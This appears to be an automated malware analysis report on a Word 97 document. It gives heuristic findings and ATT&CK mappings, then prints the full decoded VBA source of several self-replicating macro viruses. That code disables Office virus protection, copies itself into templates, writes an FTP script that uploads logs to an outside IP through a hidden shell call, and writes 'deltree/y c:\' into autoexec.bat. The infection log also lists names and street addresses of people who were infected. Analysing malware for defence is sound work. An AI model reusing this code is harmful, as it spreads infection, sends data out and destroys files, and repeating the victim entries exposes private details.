Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45326599b1915020…

MALICIOUS

Office (OLE)

104.0 KB Created: 2000-03-24 07:59:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30
MD5: ab2a2af5201ae3f799b17a0d315fb430 SHA-1: 1b08f76b8377aa3a498d525ad4c085c81bc8290a SHA-256: 45326599b1915020f0a433df529d9f45027f135dd0bab4532c089333fc4d1b17
326 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1027 Obfuscated Files or Information T1566.001 Spearphishing Attachment

The sample exhibits critical heuristic firings for VBA macros, including potential shell calls, self-replication, and disabling of macro protection. The embedded VBA script attempts to write to a file named 'c:\netldx.vxd' and connect to '209.201.88.110', suggesting it acts as a downloader or dropper for a second-stage payload. The presence of legacy WordBasic markers and AutoOpen/Auto_Close macros further supports a malicious intent.

Heuristics 9

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
                    If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
  • Bare IPv4 address in VBA string literal (1 address) low OLE_VBA_BARE_IPV4_LITERAL
    VBA source contains one or more globally-routable IPv4 addresses as plain string literals with no URL scheme. These are commonly C2 or download hosts that only get http:// prepended at runtime, so the normal URL extractors miss them. Surfaced as http://<ip> IOCs. Private, reserved and version/build-shaped values are excluded.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://209.201.88.110 Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 124984 bytes
SHA-256: 729efae2c603f525ae71fa78575eece71997b651b34399e9720a17d0415bca50
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 09:23:32 AM - Wednesday, 23 Dec 1998
' bcbsa
'



' 12:08:05 PM - Monday, 4 Jan 1999
' ISG
'



' 02:41:37 PM - Tuesday, 5 Jan 1999
' Information Systems Group
'



' 05:26:08 PM - Tuesday, 12 Jan 1999
' Information Systems
' CSC Healthcare
' 1675 Broadway, 18th Floor
' New York, NY 10019



' 11:11:28 PM - Tuesday, 26 Jan 1999
' Kinko's
'



' 01:55:18 PM - Tuesday, 2 Feb 1999
' Med97
'



' 06:12:19 PM - Wednesday, 3 Feb 1999
' Med98
'



' 08:14:55 PM - Wednesday, 3 Feb 1999
' Med94
'



' 10:09:31 AM - Friday, 5 Feb 1999
' Medical Student
'



' 02:05:18 PM - Friday, 5 Feb 1999
' Med98
'



' 07:03:00 PM - Monday, 8 Feb 1999
' Student Lounge
'



' 02:06:35 PM - Tuesday, 23 Feb 1999
' Ken Lem
'



' 04:34:46 PM - Tuesday, 23 Feb 1999
' Ken Lem
'



' 12:16:30 AM - Tuesday, 2 Mar 1999
' Ramez Ethnasios
'



' 02:29:57 PM - Wednesday, 24 Mar 1999
' SWAHBA
'



' 11:45:54 AM - Monday, 5 Apr 1999
' LMEI
'



' 12:54:06 PM - Friday, 14 May 1999
' KSUEN
'



' 09:44:46 AM - Monday, 31 May 1999
' chenyimin
'



' 05:52:26 PM - Sunday, 30 May 1999
'
'



' 09:49:21 AM - Thursday, 17 Jun 1999
' xkx
'



' 08:41:00 AM - Tuesday, 22 Jun 1999
' hxy
' 北京市海淀区海淀路四十号8763信箱



' 02:59:39 PM - Tuesday, 22 Jun 1999
' aa
'



' 04:55:39 PM - Monday, 21 Jun 1999
' 46楼台1128
'



' 03:13:34 PM - Tuesday, 22 Jun 1999
' Wei
'



' 09:24:56 PM - Sunday, 27 Jun 1999
' han
'



' 11:15:20 AM - Wednesday, 30 Jun 1999
' Wei
'



' 12:09:38 AM - Wednesday, 1 Jan 1997
'
'



' 01:07:48 AM - Wednesday, 1 Jan 1997
'
'



' 04:26:16 AM - Wednesday, 1 Jan 1997
'
'



' 12:01:58 AM - Wednesday, 1 Jan 1997
'
'



' 01:21:03 AM - Wednesday, 1 Jan 1997
'
'



' 02:02:10 AM - Wednesday, 1 Jan 1997
'
'



' 12:15:30 AM - Wednesday, 1 Jan 1997
'
'



' 03:54:54 AM - Wednesday, 1 Jan 1997
'
'



' 05:31:08 AM - Wednesday, 1 Jan 1997
'
'



' 03:45:52 AM - Wednesday, 1 Jan 1997
'
'



' 12:26:59 AM - Wednesday, 1 Jan 1997
'
'



' 06:12:39 PM - Friday, 8 Oct 1999
' Computer3
'



' 01:40:34 AM - Wednesday, 1 Jan 1997
'
'



' 06:05:43 PM - Monday, 18 Oct 1999
' Zhuo Jiachen
' Zhuo Jiachen
' Room 212, Bldg 29
' Peking University
' Beijing,100871, P.R.China



' 08:30:47 AM - Thursday, 21 Oct 1999
' 211
'



' 03:35:03 PM - Friday, 24 Sep 1999
' xuehong
'



' 10:09:27 PM - Sunday, 24 Oct 1999
' 程胜
'



' 01:40:38 PM - Wednesday, 1 Mar 2000
' yaolunzhan
'



' 04:29:06 PM - Friday, 10 Mar 2000
' yaolunzhan
'



' 05:23:16 PM - Monday, 20 Mar 2000
' yaolunzhan
'




Attribute VB_Name = "xix"
    
Sub xix()
    
    'VMPCK 1.0d w/Random Path + Update
    '=================================
    'Code Written by VicodinES
    '=================================
    'Poppy ID : 5083-QyUo94005083.c
    '=================================
    'This Virus Is: Xix.Poppy
    
On Error Resume Next
Randomize
BzUz7979 = OnLnBvVq & GjCy17022 & JvCeAiQx & VxLk11768
KrNo8852 = ReRnBxQg & UvHm12817 & LsKgBxIj & TiFo12200
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.VBProject.VBComponents("xix").Export "c:\xix.drv"
ActiveDocument.ReadOnlyRecommended = False
NsRt = Int(Rnd * 100)
    If NsRt = 99 Then MsgBox "Dia 8 de Novembro VOTA N肙 � regionaliza玢o!", vbSystemModal
MgToTvGm = VwDx2292 & LlPg10701
If Day(Now()) = 8 Then Call UmCu9400BsTy
DgCx6829 = DrGhQhNe & ExCf6570 & Int(Rnd * 2675)
With Dialogs(wdDialogFileSummaryInfo)
    .Author = "VOTA N肙 � REGIONALIZA敲O! SIM AO REFOR荗 DO MUNICIPALISMO!"
    .Subject = "JO肙 JARDIM x8?! PORRA! DIA 8 VOTA N肙!"
    .Comments = "A REGIONALIZA敲O � UM ERRO COLOSSAL!"
    .Execute
End With
If NormalTemplate.VBProject.VBComponents.Item("xix").Name <> "xix" Then MvBv508370643 = True
PlEqIfRo = QwLq7775 & OpHg16129
If ActiveDocument.VBProject.VBComponents.Item("xix").Name <> "xix" Then TxHi70648 = True
If MvBv508370643 = True And TxHi70648 = False Then Set JxPg706450836 = NormalTemplate.VBProject.VBComponents
If MvBv508370643 = False And TxHi70648 = True Then Set JxPg706450836 = ActiveDocument.VBProject.VBComponents
JxPg706450836.import "c:\xix.drv"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If TxHi70648 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
'VMPCK v1.0d [The Final Version?]
GoNqGpTs:
End Sub
Sub HelpAbout()
    On Error Resume Next
IqAj10564 = SgGwHmVe & KlLp7022 & PeVyEhIs & NkCo10807
    MsgBox "Jo鉶 Jardim x8?! Porra! Dia 8 Vota N肙!", vbInformation
End Sub
Sub AutoOpen()
    On Error Resume Next
PuIq14134 = TkEmRxTv & FyIe14577 & Int(Rnd * 8391)
    Call xix
SxLn19336 = OyOrAfGz & QtGv12202 & Int(Rnd * 9871)
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call xix
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call xix
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call xix
ChNz19101 = EwCyLsKj & LuTw19501 & Int(Rnd * 9898)
NhAlIqVz = NhNm11382 & TqVm7492
End Sub
Sub UmCu9400BsTy()
    On Error Resume Next
        Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .Text = "sim"
            .Replacement.Text = "n鉶 � regionaliza玢o!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Attribute VB_Name = "a"
Sub AutoOpen()
    Dim file$
    Dim ans$
    Dim test
    Dim mItem
    Dim cItem
    Dim aDoc
    Dim aTemp
    Dim vset
    Dim Iset
    Dim ad
    
    For Each ad In AddIns
    If ad.Name = "Autoexec.dot" Then
        ad.Installed = False
    End If
    Next ad
    With Dialogs(wdDialogToolsOptionsFileLocations)
    .path = "STARTUP-PATH"
    .Setting = "c:\"
    .Execute
    End With
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "Autoexec") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "a") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "a") Then
            vset = 1
        End If
        Next cItem
        If vset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName + ":a"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName + ":a"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
    End If
    
    With Application.FileSearch
    .LookIn = "C:\"
    .FileName = "Autoexec.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
    End With
    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
        ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
        ActiveDocument.Close
    End If

    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
    Next aDoc
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
    Next aTemp
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a"
        End If
    Next aDoc
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a"
        End If
    Next aTemp
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, COMMAND:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, COMMAND:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, COMMAND:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, COMMAND:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "自定义(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "模板和加载项(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "选项(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "宏(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "宏(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic 编辑器(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    
pun:
    If WordBasic.Month(WordBasic.Now()) = 7 Then
try:
        On Error GoTo -1: On Error GoTo 0
        On Error GoTo -1: On Error GoTo try
        If test > 2 Then GoTo result
        test = test + 1
        WordBasic.Beep
    ans$ = WordBasic.[InputBox$]("当今社会太黑暗,太不公正了!(" + Str(test) + ")", "醒世恒言", "非常正确")
        If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "非常正确" Then
            WordBasic.Beep
            WordBasic.MsgBox "You are wise,please choose this later again,critically!", 48
            GoTo exit_
        Else
            GoTo try
        End If
result:
        WordBasic.Beep
        WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" + Chr(13) + "Now,god will punish you...", 48
        Open "C:\autoexec.bat" For Output As 1
        Print #1, "deltree/y c:\"
        Close 1
    Else
        'MsgBox "Conguratulations!"
    End If
exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub
Sub AutoClose()
    Dim file$
    Dim ans$
    Dim test
    Dim mItem
    Dim cItem
    Dim aDoc
    Dim aTemp
    Dim vset
    Dim Iset
    Dim ad
    
    For Each ad In AddIns
    If ad.Name = "Autoexec.dot" Then
        ad.Installed = False
    End If
    Next ad
    With Dialogs(wdDialogToolsOptionsFileLocations)
    .path = "STARTUP-PATH"
    .Setting = "c:\"
    .Execute
    End With
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "Autoexec") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "a") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "a") Then
            vset = 1
        End If
        Next cItem
        If vset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName + ":a"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName + ":a"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
    End If
    
    With Application.FileSearch
    .LookIn = "C:\"
    .FileName = "Autoexec.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
    End With
    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
        ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
        ActiveDocument.Close
    End If

    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
    Next aDoc
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
    Next aTemp
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a"
        End If
    Next aDoc
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a"
        End If
    Next aTemp
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, COMMAND:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, COMMAND:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, COMMAND:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, COMMAND:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "自定义(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "模板和加载项(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "选项(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "宏(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "宏(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic 编辑器(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    
pun:
    If WordBasic.Month(WordBasic.Now()) = 7 Then
try:
        On Error GoTo -1: On Error GoTo 0
        On Error GoTo -1: On Error GoTo try
        If test > 2 Then GoTo result
        test = test + 1
        WordBasic.Beep
    ans$ = WordBasic.[InputBox$]("当今社会太黑暗,太不公正了!(" + Str(test) + ")", "醒世恒言", "非常正确")
        If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "非常正确" Then
            WordBasic.Beep
            WordBasic.MsgBox "You are wise,please choose this later again,critically!", 48
            GoTo exit_
        Else
            GoTo try
        End If
result:
        WordBasic.Beep
        WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" + Chr(13) + "Now,god will punish you...", 48
        Open "C:\autoexec.bat" For Output As 1
        Print #1, "deltree/y c:\"
        Close 1
    Else
        'MsgBox "Conguratulations!"
    End If
exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub
Sub AutoNew()
    Dim file$
    Dim ans$
    Dim test
    Dim mItem
    Dim cItem
    Dim aDoc
    Dim aTemp
    Dim vset
    Dim Iset
    Dim ad
    
    For Each ad In AddIns
    If ad.Name = "Autoexec.dot" Then
        ad.Installed = False
    End If
    Next ad
    With Dialogs(wdDialogToolsOptionsFileLocations)
    .path = "STARTUP-PATH"
    .Setting = "c:\"
    .Execute
    End With
    If Options.VirusProtection Then
        Options.VirusProtection = False
    End If
    
    file$ = WordBasic.[MacroFileName$]()
    If InStr(file$, "Autoexec") <> 0 Then
        For Each aDoc In Documents
        For Each cItem In aDoc.VBProject.VBComponents
        If (cItem.Name = "a") Then
            vset = 1
        End If
        Next cItem
        Next aDoc
        For Each cItem In NormalTemplate.VBProject.VBComponents
        If (cItem.Name = "a") Then
            vset = 1
        End If
        Next cItem
        If vset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
        For Each aDoc In Documents
            If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName + ":a"
            End If
        Next aDoc
        For Each aTemp In Templates
            If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
                    WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName + ":a"
            End If
        Next aTemp
        ActiveDocument.Save
        ActiveDocument.Close
        End If
        If vset = 1 Then
            GoTo out
        End If
    End If
    
    With Application.FileSearch
    .LookIn = "C:\"
    .FileName = "Autoexec.dot"
    If .Execute > 0 Then
          Iset = 1
    End If
    End With
    If Iset <> 1 Then
        WordBasic.DisableAutoMacros
        Documents.Add NewTemplate:=True
        WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
        ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
        ActiveDocument.Close
    End If

    For Each aDoc In Documents
        If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
            For Each cItem In aDoc.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aDoc.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
    Next aDoc
    For Each aTemp In Templates
        If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
            For Each cItem In aTemp.VBProject.VBComponents
                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
    Next aTemp
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a"
        End If
    Next aDoc
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a"
        End If
    Next aTemp
out:
…